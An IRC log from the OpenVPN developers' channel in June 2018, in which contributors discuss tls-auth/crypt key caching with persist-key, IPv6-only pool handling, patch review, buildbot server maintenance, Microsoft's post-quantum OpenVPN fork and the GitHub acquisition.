12:18 <@ordex> but this new logic needs to get the new tls_auth_file content for every reconnection 12:18 <@ordex> maybe they should be preloaded .. 12:18 <@syzzer> or read all in advance? 12:19 <@ordex> yeah 12:19 <@syzzer> not sure if that's worth it 12:19 <@syzzer> otherwise just make the options mutually exclusive 12:19 <@ordex> ah 12:19 <@ordex> or even better 12:19 <@ordex> to a permission check on all the tls_auth_files before starting to ensure we can read them all? 12:19 <@ordex> *do 12:20 <@syzzer> after dropping privs you mean? 12:20 <@ordex> ah right, the current check on keyfiles is performed before dropping 12:20 <@syzzer> I think so 12:20 <@ordex> yap 12:20 <@ordex> just checked 12:21 <@ordex> preloading is still cleaner, no? because it would not break the current expectation 12:21 <@ordex> otherwise people using persist-key that will move to this logic will have to drop persist-key 12:21 <@syzzer> yeah, preloading would be the nicest 12:21 <@syzzer> at least from the user perspective ;-) 12:21 <@ordex> yap :P 12:22 <@ordex> would it be bad to preload the key in some buffer in "clear" ? instead of initializing a full ssl context ? (the latter is what I think we do now for tls_auth) 12:23 <@ordex> but I guess the key is still stored in memory inside the ssl context anyway, so there i sno big difference 12:28 <@ordex> hm right now we directly initialize this object the first time c->c1.ks.tls_wrap_key 12:29 <@ordex> hmmmm preloading means either having more than one in c1, or storing them somewhere else (in the options object? ugly :/) 12:33 <@ordex> maybe making those mutually exclusive was not a bad idea :P 12:34 <@ordex> also because preloading them all might increase the memory footprint considerably 12:35 <@syzzer> yeah, keys in the clear doesn't really make a difference 12:35 <@syzzer> it's just about the logic 12:37 <@ordex> to make it "easy" we could load the file content like if the keys were always embedded. and then initialize the key_ctx object every time with the appropriate key. the question is if we want to allow to store this amount of data or not 12:37 <@ordex> embeeded/inline 12:37 <@ordex> *embedded 12:38 <@syzzer> yeah, I remember I considered writing that before 12:38 <@syzzer> the user basically decides how much data is loaded, with the config file 12:39 <@syzzer> so I think it should be fine 12:40 <@ordex> sounds good 12:42 <@syzzer> otoh, mutually exclusive is reasonable too I think - just let users really inline the keys 12:42 <@syzzer> just decide based on the amount of code needed :) 12:43 <@ordex> heh yeah 12:44 <@ordex> I have the feeling the mutually exclusive rule is probably one or two lines :P 13:22 <@cron2_> ordex, syzzer: how is --key/--cert handled in combination with <connection> blocks? Or is --key global? 13:39 < kitsune1> syzzer: Reg. the warning msg in "[PATCH 3/3] Print a --verb 1 warning when a connection uses compression", you probably mean "insecure", not "insure"? (2 places). 13:40 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:40 -!- mode/#openvpn-devel [+o plai] by ChanServ 13:40 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Client Quit] 13:40 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:40 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:41 <@plaisthos> syzzer: btw. what is an insure compression :) 13:42 < tincantech> plaisthos: it is when life insurance pay off early ;) 14:06 <@vpnHelper> RSS Update - gitrepo: man: add security considerations to --compress section <https://github.com/OpenVPN/openvpn/commit/a59fd1475089eda4c89942d345070bb942180223> 14:53 < tincantech> ordex: you could make the per <connection> tls-auth/crypt key as <inline> only ? 16:13 <@plaisthos> tincantech: why? 16:23 < tincantech> plaisthos: ordex and syzzer were having trouble with making --tls-auth/crypt work in <connection> blocks and then dropping priv etc .. they were wondering how to reread ta.key files 16:23 < tincantech> i was just thinking if that option were <inline> only it maybe removes a layer of complexity 16:24 < tincantech> just a thought 16:25 <@plaisthos> ah okay 16:25 < tincantech> it also *might* help with regard to --persist-key ? 17:38 < tincantech> OTOH, it probably makes no difference if you cannot read the config file either 20:16 <@ordex> cron2_: key material is global only so far 20:16 <@ordex> cron2_: deciding how to handle tls-auth/crypt will probably be the firs step towards changing that too 20:17 <@ordex> tincantech: it would be possible, I considered that, but I think it's "ugly" as I don't like the fast that by changing the config format, you can somewhat change the behaviour too 20:39 <@ordex> *fact 22:15 <@ordex> tincantech: the config file is all loaded into memory, so anything written in the config file (i.e. inline keys) are saved in memory at startup. so it would solve the issue, but for the reason I mentioned above, I don't prefer this approach. 22:15 <@ordex> see my mail on the ml 22:17 <@ordex> dazo: cron2_: there are a bunch of tested&acked patches in patchwork - I guess they are low hanging fruit that could be easily merged and cut the queue a bit :> --- Day changed Mon Jun 04 2018 01:03 <@cron2_> tincantech: having it inline-only also sucks - imagine you have 5 connection blocks, 4 of them using the same ta key... 01:03 <@ordex> yeah, that too 01:03 <@ordex> morning :) 01:04 <@cron2_> ordex: #173, I'm not sure this is the right approach, even if it got an ACK - there must not be(!) an on-link *prefix* on windows/tun, otherwise our tap-spoof-nd mechanism will fail 01:04 <@cron2_> which is why it is still sitting there, did not have time to run enough tests 01:04 * ordex looks 01:05 <@cron2_> #120 needs more love 01:05 <@cron2_> #110 needs more discussion, it had a complaint on the list 01:05 <@cron2_> and I'm not sure where I lost momentum with #75, #66 and #67... 01:06 <@cron2_> anyway, school holidays are over, I have time to clean up slack now 01:06 <@ordex> cron2_: #120: love from whom? does the patch itself need reworking? 01:06 <@ordex> hehe 01:06 <@cron2_> "look, think, merge" :) 01:06 <@ordex> :) 01:06 <@ordex> about #110: I think after our discussion, the consensus is around "let's drop this and keep the macro as it is" 01:07 <@cron2_> also, our part in the recent CVE is mostly done - we have a timeline, CVE, code fixes (tested!) :-) 01:07 <@ordex> right! 01:07 <@ordex> I just like to "wake up the dragon" every now and then ;P 01:08 <@cron2_> 90 open patches definitely warrant a wakeup call 01:14 <@cron2_> ordex: #337 and #338 are both "waiting for a v2", right? 01:15 <@cron2_> tls-auth and tls-crypt 01:15 <@ordex> yes 01:16 <@ordex> will resend with this persist-key fix included 01:17 <@cron2_> click to "changes requested", down to 88 patches :) 01:17 <@ordex> :D 01:18 <@cron2_> mmmh 01:18 <@ordex> we don't get notifications for status changes in pw, no? maybe this can be set on an account basis 01:18 <@cron2_> syzzer is smarter than the rest of us :-) 01:18 <@cron2_> "this helps with tls-auth rollover" - indeed, you just put in two remotes with the same ip+port, and old/new ta key... 01:18 <@ordex> yeah! Ididn't think about that at all :P 02:15 <@ordex> cron2_: you're too fast :D I was still typing :D 02:18 <@cron2_> haha :) 08:10 <@cron2_> I won't make the meeting this wednesday (conflicting meetings - and the other one is something I've waited for for four weeks, so I'm not going to postpone *that* one) 08:36 <@ordex> okyz 09:12 <@cron2_> https://www.microsoft.com/en-us/research/project/post-quantum-crypto-vpn/ 09:12 <@cron2_> "Post-quantum Crypto VPN Software 09:12 <@cron2_> This project takes a fork of the OpenVPN software and combines it with post-quantum cryptography...." 09:12 <@cron2_> just, like, *talking* to us would have been too easy, no? 09:16 < tincantech> micro-shaft .. fucking you over at every turn .. I am surprised you are not used to that by now ;) 09:16 <@cron2_> mind your language, please 09:16 <@cron2_> while this is somewhat ill-considered, it's certainly not "fucking you over" 09:16 < tincantech> to be fair .. my langauge toward M$ is minded .. 09:18 < tincantech> Microsoft is acquiring GitHub! 09:18 < tincantech> https://github.com/Microsoft/PQCrypto-VPN/tree/master/openvpn 09:18 <@vpnHelper> Title: PQCrypto-VPN/openvpn at master · Microsoft/PQCrypto-VPN · GitHub (at github.com) 09:19 < tincantech> *** Microsoft is acquiring GitHub! *** .. how bad is that ??? 09:19 < tincantech> https://blog.github.com/2018-06-04-github-microsoft/ 09:19 <@vpnHelper> Title: A bright future for GitHub | The GitHub Blog (at blog.github.com) 09:19 -!- mode/#openvpn-devel [+o ordex] by ChanServ 09:20 <@cron2_> nothing new here :) - but "we do not really care" 09:49 < tincantech> I expect that "we" is somewhat in the minority .. 09:53 <@ordex> I missed the first statement I think :< 10:08 < tincantech> ordex: *** Microsoft is acquiring GitHub! *** .. how bad is that ??? 10:08 < tincantech> https://blog.github.com/2018-06-04-github-microsoft/ 10:08 <@vpnHelper> Title: A bright future for GitHub | The GitHub Blog (at blog.github.com) 10:08 <@ordex> ah 10:09 < tincantech> personally .. it screams of the usual micro-shaft **** fest 10:10 < tincantech> time will surely tell .. 10:53 -!- oneGeko_ is now known as oneGeko 12:09 <@ordex> syzzer: https://www.microsoft.com/en-us/research/project/post-quantum-crypto-vpn/ << dazo just rpeorted this internally. did you know anything about? 12:19 <@cron2_> ordex: good morning :-) - I posted this three hours ago already :) 12:19 <@ordex> ah 12:19 <@ordex> I missed that :] 12:20 <@cron2_> it very much looks like "look ma, we at microsoft research are the cool boys, and we do not share our fame!" 12:20 <@cron2_> the article doesn't even say which algorithms etc... 12:24 <@dazo> duh ... it says PQ algorithms! That's good enough! ;-) 12:25 <@ordex> at least there is a repo with some code 12:25 < kitsune1> PQ == use a large symmetric key and keep it close to your chest. 12:26 <@ordex> hm.. maybe 12:26 <@ordex> the algs are Frodo, Picinic and SIKE 12:26 <@ordex> it's in the README.md 12:27 * dazo wonders what the tasks of a "Distinguished Engineer" is ..... 12:27 <@dazo> ... and if the hair styles are connected to the titles .... 12:28 <@ordex> :D 12:28 <@ordex> if so, I want a new title!! 12:28 <@dazo> :D 12:28 < kitsune1> The release includes openvpn-install-2.4.4-I601.exe -- a bit too old for post quantum bleeding edge :) 12:29 <@dazo> but they've backported patches from 2.4.5 and 2.5.6! :-P 12:30 <@dazo> We could send these guys and e-mail .... trying to get them more into the loop 12:30 * dazo waits for syzzer's feedback on that 12:38 * cron2_ also wants a new title - "most senior patch refusal engineer" would suit me fine 12:59 * dazo appoints cron2_ to be: Distinguished Patch Rejecter 13:16 <@cron2_> \o/ 13:56 < tincantech> how long before M$ are pushing PQC-Openvpn-by-Microsoft.msi ... For Windows Only, repackage the GUI with Windows logos 13:57 < tincantech> OTOH .. if M$ offer $billions to openvpn.inc .. can I get a pay check ? ;) 13:58 <@cron2_> no 13:58 < tincantech> dang .. 20:52 <@ordex> https://about.gitlab.com/2018/06/03/movingtogitlab/ 20:52 <@vpnHelper> Title: #movingtogitlab | GitLab (at about.gitlab.com) 20:52 <@ordex> people are moving! 20:52 <@ordex> :D 22:19 <@ordex> syzzer: the "precaching" turned to be somewhat easy[tm]. I leveraged on the existing inline logic. so basically when persist-key is specified key files (for tls-auth/crypt) are read and converted to inline keys. This way the code impact was somewhat minimal 22:24 <@ordex> syzzer: therefore the persist-key logic has been moved from "reload the tls-wrap context only if needed" to "reload it always, but cache key content if needed" 22:32 <@ordex> cron2_: up to 91 patches now ;P 22:43 <@ordex> interesting GitLab CI builds also on FreeBSD (while travis-ci does not) 23:42 <@ordex> syzzer: cron2_: note that 1/3 of my patchset isnot expected to "work as is" because it requires 2/3 and 3/3 to complete the logic --- Day changed Tue Jun 05 2018 00:42 <@ordex> apologies for the small typ0s in the patches - aparently it's just me 01:06 <@cron2_> ordex: mmmh. Usually we aim for "every single patch passes full tests" - this makes bisecting *way* easier if needed 01:06 <@cron2_> so what is missing in 1/3? incomplete feature, or something failing? 01:06 <@ordex> yeah I agree with that actually 01:06 <@cron2_> (incomplete feature is ok) 01:06 <@ordex> hmmm 01:07 <@ordex> it may not work with persist-key + user drop if key files are not accessible anymore at runtime 01:07 <@ordex> because with 1/3 it will reload the tls-auth/crypt keyfiles on SIGUSR1 even with persist-key 01:08 <@ordex> in 2/3 and 3/3 I introduce the caching logic for the per-connection-block keys 01:08 <@ordex> which make it work again 01:08 <@ordex> actually I can easily change 1/3 to make it work as expected as well (introducing a caching logic for the global tls-auth/crypt key) 01:09 <@ordex> should I? 01:09 <@ordex> it basically anticipates what comes with 2/3 and 3/3 01:12 <@ordex> (it may be cleaner, and it is not a lot of work) 01:13 <@cron2_> I think that would be a good thing 01:13 <@ordex> oky! will do then, thanks for the feedback :) 01:14 <@ordex> it may also be easier to understand how the "persist-key" implementation changes for tls-auth/crypt, because everything will be in one patch basically 01:27 <@ordex> hmmm having netns support in openvpn would make testing the tunnel much easier I think 01:30 <@cron2_> I know that people are waiting for it to appear... so... don't let us stop you :-) (there is an open PR about that) 01:31 <@cron2_> to get the abstraction right will be an interesting excercise, I think (FreeBSD has "multiple routing tables", OpenBSD has something else, but they can all do "network virtualization" things) 01:32 <@cron2_> wrt patch v2 2/3, 3/3 -> will these need v3 as well? 01:34 <@ordex> about 2/3 and 3/3: probably. I marked the entire set as "change requested" because some little things may change 01:34 <@cron2_> ok 01:34 <@ordex> is there a PR for netns? I haven't seen it 01:35 <@ordex> ah PR, must be on GH then 01:35 <@cron2_> ah 01:35 <@cron2_> it's actually for the other end of things, adding a --bind-dev option (#65) 01:36 <@cron2_> so we have "what <thing> should the outside socket be in" and "what <thing> should the tun interface + tun routing be in" 01:36 <@cron2_> netns, bind-dev, routing-table, vrf, ... 01:36 <@ordex> yeah 01:36 <@ordex> so many knobs .-. 01:36 <@cron2_> indeed 01:37 <@ordex> if you want to to bind to a different netns, you can just use 'ip netns' and run the entire thing in a different namespace. I don't see why you'd want the transport to be in a separate namespace, but keep the tunnel in the global one 01:37 <@ordex> (if possible at all) 01:37 <@cron2_> I think the sitnl patch set could do netns as well, because that is "all the same code area", and at the hackathon we sit down long and hard and think about other things 01:38 <@cron2_> ordex: you could, but that sort of messes up "start from rc scripts", etc 01:38 <@cron2_> as a quick "i need this today!!!" it would work :) 01:39 <@ordex> :P 01:39 <@ordex> hehe 01:39 <@ordex> but yeah, the sitnl patchset is probably a good baseground for the netns as well 01:40 <@ordex> I think it can be extended with netns once the rest is settled (if we add everything from the start it will be a hell or patchset - which already almost is :P) 01:52 <@cron2_> it should be easy to add now that we have the context thing 01:52 <@ordex> yap 01:53 <@ordex> it can be set in the context during init (grabbed form the config) and then passed to the platform logic 01:53 <@ordex> or maybe it should just be passed to the various functions with a specific typedef (not sure how netns are really represented on the various platforms 01:54 <@ordex> but since this is very platform specific, the context might be a better place 01:58 <@mattock> cron2: I will have to restart the community vpn server soonish 01:58 <@mattock> I believe your buildslaves are able to cope with it 02:00 <@ordex> they are building now - will this affect their work ? 02:00 <@ordex> mattock: ^ 02:01 <@mattock> ah 02:02 <@mattock> I can wait 02:03 <@ordex> thanks 02:03 <@ordex> it should not take a lot 02:03 <@mattock> yep 02:11 <@cron2_> ordex: I think "context" is good 02:11 <@cron2_> mattock: if you push new routes, all the openvpns will die 02:11 <@cron2_> because they run non-privileged... 02:12 <@cron2_> but hey, then I just restart them :-) (and hopefully the notifications will tell me which ones to kick) 02:15 <@mattock> some builds are still in progress 02:15 <@mattock> I will let you know when I restart the openvpn instances 02:16 <@mattock> then I will probably have to make some firewall changes probably, so it will take a bit of time 02:16 <@mattock> I'll let you know when it works 02:17 <@ordex> thanks 02:33 <@ordex> last few builds left.. 02:38 <@ordex> hm I am going to squash the tls-auth and tls-crypt patch in one, because "isolating" each change while ensuring that everything works is kind of tricky 03:10 <@cron2_> sounds reasonable 03:12 <@ordex> mattock: all the builders are done 03:12 <@ordex> you may kill everything 03:12 <@ordex> :p 03:14 <@mattock> ok 03:14 <@mattock> :P 03:25 <@ordex> btw, interesting reading: https://www.fsf.org/blogs/licensing/do-githubs-updated-terms-of-service-conflict-with-copyleft 03:25 <@vpnHelper> Title: Do GitHub's updated terms of service conflict with copyleft? Free Software Foundation working together for free software (at www.fsf.org) 03:29 <@ordex> and another interesting reading we may want to consider https://www.gnu.org/software/repo-criteria-evaluation.html 03:29 <@vpnHelper> Title: GNU Ethical Repository Criteria Evaluations - GNU Project - Free Software Foundation (at www.gnu.org) 03:47 <@cron2_> what the f... why is "where do I push my software?" all political now 03:49 <@ordex> apparently people got quite upset when the acquisition came with a change in the ToS 03:51 <@mattock> ok I will break OpenVPN server now 03:52 * ordex gets ready 04:07 <@cron2_> there goes another fun project... 04:18 <@ordex> interesting the branch isnot compiling after the last little change 04:19 <@cron2_> which of the zillion branches? ;-) 04:19 <@ordex> :D 04:19 <@ordex> the ipv6-only thing 04:20 <@ordex> I changed a little thing before sending the patchset, which of course broke something 04:20 <@ordex> :P 04:20 <@cron2_> when sending patches, please tell your git to not cc: me... it seems to make sf.net not send me copies, so I have half the patch set without [openvpn-devel] now 04:21 <@ordex> oh ok, will exclude you. I have configured sf.net to send two copies in that case, so i have one i nthe inbox and one in the openvpn-devel folder 04:22 <@cron2_> you can configure that? 04:22 <@ordex> yes, you can on mailman 04:22 <@ordex> I think it is disabled by default 04:23 <@cron2_> do you have an URL for me? their web site navigation is not for me... 04:23 <@ordex> let me check! 04:25 <@cron2_> I think I found it 04:25 <@cron2_> hidden behind the "UNSUBSCRIBE (or edit options)" button 04:25 <@ordex> https://sourceforge.net/projects/openvpn/lists/openvpn-devel/unsubscribe << very intuitive 04:25 <@ordex> yes 04:25 <@ordex> :D 04:25 <@ordex> Avoid duplicate copies of messages? << this is the option 04:25 <@ordex> it's the last at the bottom and I have "No" 04:25 <@cron2_> I can't login anyway 04:26 <@ordex> it's probably a different pwd, not the one you have on sf.net...you can quickly ask to receive it to your email I think 04:26 <@cron2_> the list password is not related to the sf.net password... and I'm fairly sure I never set up a list password anyway, when I subscribed, a million years ago... 04:30 <@ordex> when we were all kids and we were focus on other stuff 04:30 <@ordex> :p 04:30 <@ordex> but what if you click the Remind button in the mailman interface? shouldn't it send you one? 04:31 <@cron2_> so, clicked :) 04:31 <@cron2_> I have a password now, and set the option to "no" 04:31 <@cron2_> so when you send v2 of that thread *cough* 04:33 <@ordex> I will only resend one patch 04:33 <@ordex> cron2_: can I try now? (with you in CC) 04:34 <@cron2_> go 04:37 <@ordex> incoming 04:38 <@ordex> of course, the mailing list will take some time....as usual 04:46 <@ordex> I got it on the ml too 04:48 <@cron2_> 10036 N C Jun 05 Antonio Quartul ( 10K) `->[PATCH v2 4/5] pool: allow to confi 04:48 <@cron2_> 10037 N C Jun 05 Antonio Quartul ( 10K) `=>[Openvpn-devel] [PATCH v2 4/5] po 04:48 <@cron2_> there it is 04:49 <@ordex> oh you use mutt, right? 04:50 <@ordex> (glad that it worked ;P) 05:00 <@cron2_> yep, and yep 05:02 <@mattock> community vpn server restructuring still wip - need to get back to it post-lunch 05:19 <@mattock> something is eating packets after they leave the openvpn server but before they reach the target server 05:19 <@mattock> EC2-vise all _looks_ good 05:19 <@mattock> network acls and security groups... 05:19 <@mattock> anyways, lunch now (finally) 06:11 <@ordex> tincantech: been down for a while? together with the buildbots? :D 06:25 <@cron2_> mattock: the "this buildslave is offline" mail only seems to be sent for tincantech's heap of tin boxes :) 06:26 <@cron2_> I see quite a few of mine offline (unsurprisingly) but haven't seen mail 06:35 <@mattock> odd 06:38 < tincantech> ordex: i just built and tested your ipv6only patch set .. 100% success :) 06:38 <@ordex> cool, thanks! 06:44 * cron2_ excercises his rights as master patch refuser on #538 06:44 <@cron2_> ah, now that my buildslaves are back up, I get the "went away" mail 06:45 <@ordex> #538 ? 06:45 <@cron2_> https://community.openvpn.net/openvpn/ticket/538#comment:14 06:45 <@vpnHelper> Title: #538 (no PIN prompt with PKCS11 when systemd is enabled) – OpenVPN Community (at community.openvpn.net) 06:45 <@ordex> ah the ticket 06:45 <@ordex> I was afraid that the rejected stamp was about to land on my forehead 06:46 <@cron2_> people keep interrupting me with annoyances, like "tax paperwork" and "hi, it's mom, I just wanted..." 06:47 <@ordex> :D 06:47 < tincantech> cron2_: be nice to yor mom ;) 06:47 <@ordex> tincantech: did you also try to configure the server for "ipv6 only" ? or you tried with your classic configs? 06:48 < tincantech> ordex: full ipv6 *only* 06:48 <@ordex> ah cool 06:48 < tincantech> just have to config an ipv6 address on eth0 then will have ipv6 outside as well as inside 06:49 <@cron2_> phone again... 06:49 < tincantech> but the tunnel is ipv6 only 06:49 <@cron2_> mattock: have you broken the buildmaster? 06:49 <@ordex> tincantech: yeah. remember that ipv6 outside is not required to have ipv6 inside 06:49 <@ordex> (just to clarify) 06:51 <@mattock> I have broken everything yes 06:51 <@mattock> I may have to revert the configuration for now 06:52 <@mattock> there's some configuration glitch I'm just not seeing right now 06:52 < tincantech> ordex: sure .. then you don't need for me to test that .. just the tunnel itself ? have done, will send a mail .. sure other ppl will have to ACK it but if an idiot like me can build+configure+open an ipv6 only tunnel then the code must be quite solid ;) 06:52 <@ordex> hehe 06:53 <@ordex> and yeah, it's the tunnel only that needs testing - on the outside nothing has been touched 06:53 <@ordex> just to avoid you wasting energy on something that I haven't touched. that's why I wanted to clarify 06:53 <@ordex> and every ACK is precious :) 06:57 <@cron2_> customers... I waste two days trying to make lftp work with ftp/ssl on AIX, and explain them in detail why it is not working 06:58 <@cron2_> you might have seen the rant :) 06:58 <@cron2_> now I receive a mail 06:58 <@cron2_> subject: lftp on AIX with FTP/ssl 06:58 <@cron2_> hi gert, 06:58 <@cron2_> when can we go about implementing this project? 06:59 <@ordex> :< 06:59 <@mattock> everything back to normal buildbot-vise 07:00 <@mattock> cron2: I've received notifications about your buildslaves being offline 07:00 <@mattock> e.g. "Buildbot: buildslave slave-cron2-freebsd-74-amd64 was lost" 07:04 <@cron2_> yes, that notification came in after I had already restarted openvpn :) 07:04 <@cron2_> *sigh* 07:04 <@cron2_> you have changed the pushed config again, so I need to restart all instances *again* 07:05 * cron2_ kicks out "user nobody" from the config 07:10 <@cron2_> tincantech's slaves are still down, mine are coming back 07:16 < tincantech> cron2_: ahh .. the vpn's to openvpn are down .. restarting 07:17 <@cron2_> actually buildbot does not "run more extensive tests" for this particular use-case, as there are no ipv6-only tunnels anywhere 07:18 <@cron2_> this is something we'll have to do - add ipv4-only and ipv6-only cases to some of the t_client test blocks 07:19 <@cron2_> client side can be simulated (--pull-filter), server side would need new instances which need new client stanzas as well, so that's a major undertaking 07:21 <@cron2_> (as a side note: --user nobody is really annoying on platforms that do not auto-cleanup tun interfaces on close(fd)... because then openvpn will just die and not clean up) 07:31 < tincantech> mattock: did you reboot the forum server .. i just lost all my "unread" queue again ? 07:31 <@mattock> cron2: I said I'd say when I'm done :) 07:32 < tincantech> sorry .. i meant "new posts" 07:32 <@mattock> didn't want you to restart your buildslaves for no purpose 07:32 <@mattock> tincantech: no I did not 07:33 <@mattock> ecrist and I had to rebuild it when it did not wake up after a FreeBSD update 07:33 <@mattock> but since then nothing has happened 08:09 <@cron2_> mattock: my buildslave VPNs are now all running as root and no restart should ever be necessary again :-) 08:29 <@plaisthos> does my buildslave behave again? 08:30 <@cron2_> mattock: not sure I parse your mail - huh, what? 08:30 <@ecrist> tincantech: the unread queue isn't reset on server reboot 08:31 <@cron2_> feel free to restart the vpn server all you want :-) - but if I need to change configs, I need to be told exactly what to touch where 08:31 < tincantech> ecrist: we looked into this before .. you said it is reset at logout/in by the user .. but I was logged in with both tincantech and debbie10t and the "new" list just reset itself .. 08:32 < tincantech> ecrist: it's not important .. so don't worry about it 08:33 <@ecrist> ok 08:33 <@ecrist> $ uptime 1:33PM up 4 days, 21:15, 1 users, load averages: 0.60, 0.52, 0.41 08:34 < tincantech> the odd thing is it seems to happen randomly .. has not happened for ages and then just reset just now and i did not logout/in .. but anyway .. it realy is not important 08:35 <@ecrist> tincantech: maybe it uses cookies? 08:35 * ecrist looks 08:36 < tincantech> i have intsalled php-bb here .. so i'll have a poke around see if i can find anything .. and maybe ask in there irc channel 08:37 < tincantech> their* ;) 08:38 <@ecrist> ok, doesn't seem to be cookie related. 09:13 <@plaisthos> I just figured out that python supports C's way to string concatination: 09:13 <@plaisthos> >>> 'foo' 'bar' 09:13 <@plaisthos> 'foobar' 09:13 <@plaisthos> I am at loss why that is a good in python ... 09:13 <@plaisthos> ...good idea... 09:15 < tincantech> plaisthos: cron2_ something odd with MacOS .. can either of you shed any light : https://forums.openvpn.net/viewtopic.php?f=5&t=26507#p79332 09:15 <@vpnHelper> Title: Error installing openvpn 2.4.6 - openssl check failed - OpenVPN Support Forum (at forums.openvpn.net) 09:22 <@ecrist> mattock: looks like mail is bouncing from the forum server. I'll try to get to it, but if you could share the correct email gateways, if required, that would be great. 10:18 <@ecrist> done. 10:48 <@mattock> ecrist: generally it's just the local postfix that sends mail directly 10:48 <@mattock> but I do have a SMTP relayhost in the intranet which I could use 10:49 <@mattock> I did not yet have time to puppetize the forums box, but that should not be related to mail bounces 11:04 <@ordex> cron2_: ACK on the "split out do_ifconfig_ipv4() as well" - I tried to be lazy .... and keep the patch small ;P 11:07 <@ordex> good point from Selva about the gateway redirect too 13:37 <@cron2_> *read up* 14:26 * cron2_ likes living on the edge 14:28 <@vpnHelper> RSS Update - gitrepo: pool: restyle ipv4/ipv6 members to improve readability <https://github.com/OpenVPN/openvpn/commit/5d2cd1222e06291021cf5e793f585d5f1485ae9b> 20:02 <@ordex> wow 20:02 <@ordex> quite some things to read :> 20:10 <@ordex> cron2_: thanks for the thorough review so far...so the tap driver is again in the middle of our way :D 22:41 <@ordex> cron2_: just reasoning about the pool thing. why do we save the IP in the persistent pool file? why don't we just save the pool_handle/offset? 22:42 <@ordex> in the ocde we are basically going handle -> ip -> write ip in file -> ... -> read ip from file -> ip -> handle 22:42 <@ordex> *code 22:42 <@ordex> wouldn't it make sense to just save the handle in the file? that would also make it generic enough to work with v4 or v6 without much changes 23:08 <@ordex> https://jacquesmattheij.com/what-is-wrong-with-microsoft-buying-github 23:08 <@vpnHelper> Title: What is wrong with Microsoft buying GitHub · Jacques Mattheij (at jacquesmattheij.com) 23:27 <@ordex> cron2_: the only reason I can think about is to give user something to "read" 23:28 * ordex is lost in the windows/tap-driver jungle --- Day changed Wed Jun 06 2018 01:02 < eyal> quit 01:05 < eworm> oh, ordex's github account a cleared... 01:05 < eworm> ordex, where to find your branches? 01:05 <@ordex> eworm: gitlab.com/ordex986 01:05 <@ordex> (trying to recover "ordex", but no luck for now :-() 01:06 < eworm> oh... what happened? 01:07 <@ordex> I registered "ordex" one year ago but the email I used is not active anymore :/ 01:07 <@ordex> me dumb - nothing else :P 01:44 <@cron2_> mornin' 01:45 <@cron2_> ordex: well, I find it useful to be able to look into the ipp file and see "ah, he'll get *that* IP" :-) - but that is old code, the design decision for the format was made long before I came on board, I just added ",v6" to it 01:45 <@cron2_> ordex: wrt TAP - it seems there is no real problem after all :-) - we just need to fix a few loose ends on our side, like "do not try to install routes if we have no v4", which will nicely fix the "TEST ROUTES" part - if there are no routes, it won't fail 01:47 <@ordex> cron2_: alright for TAP, it looked worse from Selva's email hehe, but it's me not having experience with the tap driver and windows at all 01:47 <@cron2_> ordex: there is a nice page on the wiki how to install ubuntu with all the tools required to build a windows installer... :) 01:48 <@ordex> hehe I know I know .. I just try to keep my pain level low :D 01:49 <@ordex> cron2_: for ipp I can still keep the same format so that users can see what IPs are assigned or even modify them (it will screw up if ipv6 and ipv4 end up with different offsets though) 01:49 <@ordex> (during the reading) 01:49 <@ordex> this is why I thought about "let's report just the handle_t/offset and avoid the user can mess this up" 01:51 <@cron2_> maybe we need two files after all 01:51 <@cron2_> then we can get rid of "if you use --ifconfig-push for ipv4, there will not be a pool address for v6 anymore" as well 01:52 <@ordex> well, we probably have to decide if we want to split the pools or not 01:52 <@ordex> right now I am keeping them together, for simplicity, and it's ok. the ipp will simply be "cn,,ipv6" 01:52 <@cron2_> right (-> meeting, next week). I think we'll have to, since --ifconfig-push / --ifconfig-ipv6-push mess up pool handling for "the other address family" 01:53 <@ordex> ah because that can be specified in a ccd, right ? 01:53 <@cron2_> cn,,ipv6 is good enough as a first step 01:53 <@cron2_> yes 01:53 <@ordex> argh, so the user can already mess the pool up 01:53 <@ordex> ok 01:53 <@cron2_> "I want a static address for *this* client -> ccd/$cn -> --ifconfig-push 1.2.3.4 01:54 <@cron2_> this will trigger a warning today "I cannot do v6 for this user anymore!" because it will make $cn not use the pool at all anymore 01:54 <@ordex> oh ok 01:55 <@ordex> but can the cadmin specify both --ifconfig-push and --ifconfig-ipv6-push in a ccd file? 01:55 <@ordex> or will the ipv6 be ignored? 01:55 <@cron2_> yes 01:55 <@cron2_> this is the workaround I built back then - "if you do --ifconfig-push, you need to do --ifconfig-ipv6-push as well, or no ipv6 for this client" 01:55 <@ordex> ok 01:56 * cron2_ <- lazy bastard :) 01:56 <@ordex> and they are both statically assigned without using the pool 01:56 <@ordex> :D 01:56 <@ordex> well, we could still use the pool for the other family, no? without excluding that peer from the pool at all, no? 01:57 <@cron2_> I knew the shared pool would come back to create more work one day, but since this has been in the code for like 5 years now, it wasn't that bad :) 01:57 <@ordex> (just trying to see if we can live with one pool only) 01:57 <@ordex> yeah :) 01:57 <@cron2_> well, if you use the "other family pool", you might end up wasting v4 addresses from the pool just to get a handle for v6... 01:57 <@cron2_> (also our code stubbornly refuses to look at the pool in this case) 01:58 <@cron2_> I'd not decide this today, but discuss it in a slightly wider group (selva, syzzer, plaisthos, dazo, at least) - so maybe "meeting" is not the way to go (time zones = Selva is asleep while we meet :) ) but bring it to the list 01:59 <@ordex> yeah 02:00 <@ordex> I see the point in "losing slots for the unused family" 02:00 <@ordex> ok. I see that splitting the pools is probably better 02:00 <@ordex> but yeah, discussing with the others is definitely good 02:00 <@ordex> I am just trying to see if this can still "work" as it is now, so to split the work in different patchset 02:00 <@ordex> i.e. make ipv6 only work alone for now and later improve the pool handling 02:01 <@cron2_> I think for now we can live with "one pool, which is either v4-based or v6-based, for a v6-only setup" 02:01 <@cron2_> it should not refuse to cooperate and it should not crash :) 02:02 <@ordex> approved! 02:02 <@ordex> :) 02:09 <@mattock> so cron2 can't make it to a meeting today 02:09 <@mattock> what about the rest of us? 02:18 <@ordex> I am here 02:20 <@ordex> uhm the mail just received on security@ was encrypted only with 2 personal private keys (one was gert's), even thought the message was sent to security@ 02:20 <@ordex> mah 02:20 <@cron2_> strange 02:20 <@ordex> s/private/public/ 02:20 <@cron2_> I'll relay 02:20 <@ordex> thanks 02:23 <@cron2_> interesting :-) - my MUA is flatly refusing to allow me to send mail to a list of cc's if I do not have keys for all of them 02:23 <@ordex> well, smart 02:24 <@ordex> :) 02:24 <@cron2_> it's mutt :-) - mutt and PGP is a combination that really excels. Mutt and S/MIME, OTOH, is full of annoyance 02:25 <@ordex> ;) 02:25 <@ordex> 